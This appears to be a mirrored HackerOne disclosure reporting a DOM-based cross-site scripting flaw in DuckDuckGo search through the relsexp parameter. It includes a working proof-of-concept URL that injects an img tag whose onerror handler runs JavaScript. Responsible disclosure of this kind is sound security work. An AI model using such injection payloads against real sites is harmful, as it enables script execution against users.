HexBrain

DuckDuckGo · Report #876148

DOM XSS on duckduckgo.com search

Validstatus
mediumseverity
74upvotes
26 Jun 2020disclosed

How it was found

Hello, The is a DOM XSS vulnerability on https://duckduckgo.com search through the relsexp parameter.

PoC URL: https://duckduckgo.com/?q=a&relsexp="><img src=/ onerror=alert(document.domain)>&ia=web

Screenshot: {F830875}

Video: {F830880}

Impact

The attacker can execute JS code.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original